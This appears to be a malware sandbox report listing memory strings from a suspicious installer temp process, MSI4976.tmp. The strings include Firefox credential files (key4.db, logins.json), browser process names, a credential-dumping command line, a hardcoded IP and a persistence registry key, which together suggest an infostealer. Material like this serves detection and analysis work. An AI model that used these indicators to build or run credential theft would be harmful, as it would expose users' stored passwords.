Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m2vd2wl8nv4o1zk1ck5py8l	memstr_deaa5b7b-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9ye6vh0ai3g9oj8dy3et	memstr_832ee4a5-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9ye6vh0ai3g0dq2od8ra7u!n	memstr_23ea0979-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p5vg0vy8e(ni]	memstr_c7ced69e-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f2kn6pg2ic8b8hw6xb6j:n{]	memstr_056fc2eb-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: o6xu0ep0p4hc9xr3bb8p=nr]	memstr_38c5f135-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9ye6vh0ai3g0pr3vq7w	memstr_7db0ec9c-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: o6xu0ep0p5vn8bh9re9t	memstr_fa4fd915-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f2kn6pg2ic8b7ns2it6t\c	memstr_d67234f3-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: o6xu0ep0p9eh1tt1s	memstr_0ae6c965-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m2vd2wl8nv4o2xb0rg9tg3m	memstr_a152ef86-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9ye6vh0ai3g6wb4ua9yj3u	memstr_3e53d0fc-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e5dp0eh4hg1m7da4uw2mw6m	memstr_e5e8dbbc-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p4nd7eh0x	memstr_562ef504-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f2kn6pg2ic8b6pq2cg7ez9x	memstr_881b5bf0-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m2vd2wl8nv4o8jf7py6io3k	memstr_82cf5e08-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l9at8bn1p2lo0os0k	memstr_73a9fb48-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l9at8bn1p3ai1lo6l	memstr_505e593b-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dword;ptr;ptr;	memstr_ce737f6d-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f2kn6pg2ic8b4dr9dc6ar8h	memstr_aea134d0-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p0ip9jn5z	memstr_98f462fd-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ws2_32.dll	memstr_0b8c3206-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p5hp7rk7bb7dsk	memstr_0f1bc7b4-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p1mn5cq9b0k	memstr_c7acdcad-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f7bp2gd7nmp6eb1om3zfo	memstr_1a0e9e2e-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f2kn6pg2ic8b2tr4ar3n	memstr_c0328d25-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q9ez4cx3r6gc8yw6q	memstr_b0f3be3e-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p2su2us0ge9q[o	memstr_27eefcc1-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m2vd2wl8nv4o2yu7az0kbo	memstr_fcac0128-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m2vd2wl8nv4o0be5cm0eh0beo*\	memstr_c793d36a-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l9at8bn1p5ty9jp2n	memstr_ac7248f5-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l9at8bn1p4lb9fu2rwo$\	memstr_6a60fbc4-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ioctlsocket~o?\	memstr_b940c8ba-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l9at8bn1p4sb7hf1nc5h	memstr_13e72e0f-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9ye6vh0ai3g8dv0vm4q	memstr_4ba4574d-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l9at8bn1p2gj2we1l	memstr_f89a6283-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p2vx8ix2xr2h	memstr_47d2516c-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e2qg3kt9n1vg3zx7v	memstr_25e89606-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9ye6vh0ai3g3ky0mn2u$o	memstr_90e52907-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l9at8bn1p7kz5ud7i/ol\	memstr_5a310172-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: o6xu0ep0p3wm6ww5qu9n6og\	memstr_0adf88a1-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: svwin2.exe /stext pl2.9o~\	memstr_5d0bd326-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \key4.db	memstr_a9e5e5e2-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q9ez4cx3r3ju1fa3wm/che	memstr_790ac0f0-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e2qg3kt9n9jz4pp2n	memstr_bb050f23-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m2vd2wl8nv4o8tq9mx1gq4u	memstr_0f0403b2-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p6yv9rm2nm6d	memstr_6c5683d7-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f7bp2gd7num2wp0un5a	memstr_01e7a59c-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: firefox.exe	memstr_fe3e4503-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p8rs7jf2ir3q	memstr_b2b39c7e-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: chrome.exe	memstr_20e85e91-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /pl2.txt	memstr_b9e8d974-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p7cx1zr8wbj	memstr_2b237ee9-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: o6xu0ep0p3pk3zx6hrofil	memstr_b315b82d-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \cert9.db	memstr_c294d925-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e2qg3kt9n8lv2tx6yu1nem	memstr_a84369c7-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p9hc9is9k	memstr_12139ba1-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l9at8bn1p1rh2zd8vk5h	memstr_a70aae9a-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p2uy0cr1w	memstr_04752362-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p2sc6qp6y	memstr_6208c397-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p3hc4op4v	memstr_92b7edc9-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f2kn6pg2ic8b8sg3ru5z	memstr_6696a59e-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9ye6vh0ai3g2zt0rm5jlh	memstr_2cb29827-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p2oo1bl2ku5e8ea1ym8wwh	memstr_e13bcbce-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \windata\^h	memstr_fb9bbb38-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \logins.json	memstr_e3e9f512-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q9ez4cx3r3vc9kk7qj5whh)_	memstr_002be916-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p8tj3rn0wr5s	memstr_6be7bfc3-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: wmplayer.exe3quran.netzh;_	memstr_536e4e22-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /vyzspq.lnk}h2_	memstr_236e41b8-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9ye6vh0ai3g5xu5ii6p	memstr_aa492c6c-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p2oo1bl2ku5e9rx3fn9mf7x	memstr_30fc46a7-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: svwin1.exe	memstr_fc8ceee4-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p2oo1bl2ku5e7zl6et4ph2l	memstr_1525f5ec-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9ye6vh0ai3g4vf3zs1q+hh_	memstr_253c652d-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p2oo1bl2ku5e6xd9xr7g2hc_	memstr_ef0cdc80-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f2kn6pg2ic8b0yo7wp3e5hz_	memstr_d8c77fa4-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: windows defender<h}_	memstr_73d01560-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: wbemdefaultpathparser	memstr_d35b6809-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: o6xu0ep0p9mn3jt5i	memstr_b85fa22e-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p0bt9nb0kf8d	memstr_66984b5c-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 172.111.138.100vc	memstr_17b5ea75-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m2vd2wl8nv4o6vs6pg1q	memstr_1a4200be-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "swbemprivilegesetr2	memstr_b92b58ed-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l9at8bn1p3zz8xp9ic6apc	memstr_de7fa50a-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m2vd2wl8nv4o5cy6rz5v	memstr_ceb1e51a-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: swbemservicesexr2o	memstr_f298666c-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f2kn6pg2ic8b5ok6ax1pw1iai	memstr_341c0348-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q9ez4cx3r4xi9ox1thi	memstr_43ee2000-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m2vd2wl8nv4o7ke1sa7gd6csi	memstr_af347cf7-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m2vd2wl8nv4o3tc9tk3wzi	memstr_69023f2e-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: wbemdefaultpathparserdi	memstr_9eb5c1cd-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hkcu\software\win32	memstr_36691b99-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p1gl3mf7acyi>^	memstr_bca90064-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q9ez4cx3r2nt5si4ld0a	memstr_4205051c-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\installer\msi4976.tmp	memstr_97dbeeee-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\installer\msi4976.tmp1if^	memstr_ae4f90db-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lmem	memstr_c8123407-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: negoextenderlmem	memstr_f97083f6-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e5dp0eh4hg1m5bz1jb5rh8m	memstr_05b26b57-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: localappdata=c:\users\user\appdata\local	memstr_43916aee-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p8xq5ty9u	memstr_3c6f1ea1-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: programfiles(x86)=c:\program files (x86)	memstr_57e3d383-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p7zq9ti1ap9u\|	memstr_f958b543-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p0wl6gm6f	memstr_01284d01-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: windows defender	memstr_9225ba8f-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p1tq0ev4xw2s	memstr_f612462a-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: programfiles(x86)=c:\program files (x86)dj	memstr_a32fad4d-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hkcu\software\win32\|vj	memstr_aacfdc43-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e2qg3kt9n6nx9ci0myj	memstr_b37e6580-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kj(q#	memstr_4e7c5dcc-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\musicrj#q$	memstr_25039dfb-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: uj:q%	memstr_79c94547-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|j=q&	memstr_ccfc92e5-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: *jkq,	memstr_3a73c015-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\videos-jbq-	memstr_809daab6-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hj(5w<	memstr_1810355f-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 4jeq.	memstr_b47689e1-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?j\|q/	memstr_c0804c29-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\desktop	memstr_5e81f4a0-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p2bs1rp8a	memstr_e3e91a88-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\desktop.ini	memstr_1f1c286b-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\pictures	memstr_1e2086ed-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: o6xu0ep0p3gj2cn5ri5d25	memstr_b3d359a6-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\downloads	memstr_811aa568-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\documents	memstr_cdcdc5f0-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: known folder manager	memstr_1ee3b08e-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: }d"pn	memstr_709bc387-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: programfilescommonx86rk	memstr_4111b27b-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: nk/ph	memstr_f4c34bb0-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qk&pi	memstr_eb6ee87c-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: xk9pj	memstr_4928578e-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\onedrive	memstr_8a99464d-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\searches	memstr_be0bff9d-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: )knpq	memstr_73c29bb8-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0kapr	memstr_3ece1ed7-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ncacn_np;kxps	memstr_79e9a449-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: savedpictureslibrary	memstr_a1f0e159-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\contacts	memstr_a43eca18-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: userprogramfilescommon	memstr_be0ffc48-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: userslibrariesfolder	memstr_4fbcd9a6-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: localizedresourcesdir	memstr_c19170a0-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: publicaccountpictures	memstr_26cbc52d-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: administrative tools	memstr_1c0524c2-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: device metadata store	memstr_8626b7a0-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\appmodsgd	memstr_64d35046-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: searchtemplatesfoldernd	memstr_24dcd694-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: documents.library-msqd	memstr_d1dece56-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: implicitappshortcutsjd+sl	memstr_63b8a5d3-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: md"sm	memstr_77c56f89-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: td%sn	memstr_d17eccf1-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\favorites"d	memstr_79d90132-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: application shortcuts%djsu	memstr_a49e1432-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9ye6vh0ai3g3xj3iu4ds,dmsv	memstr_8bbf26a3-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: addnewprogramsfolder7ddsw	memstr_ec52fd1b-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cameraroll.library-ms>d	memstr_2a7bdfb4-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\links	memstr_37dd0fc2-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: implicitappshortcuts	memstr_5fcc0534-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: recordedtv.library-ms	memstr_9b550807-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\public\music	memstr_e3b6e841-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\public\musicje	memstr_8d1a87d8-a
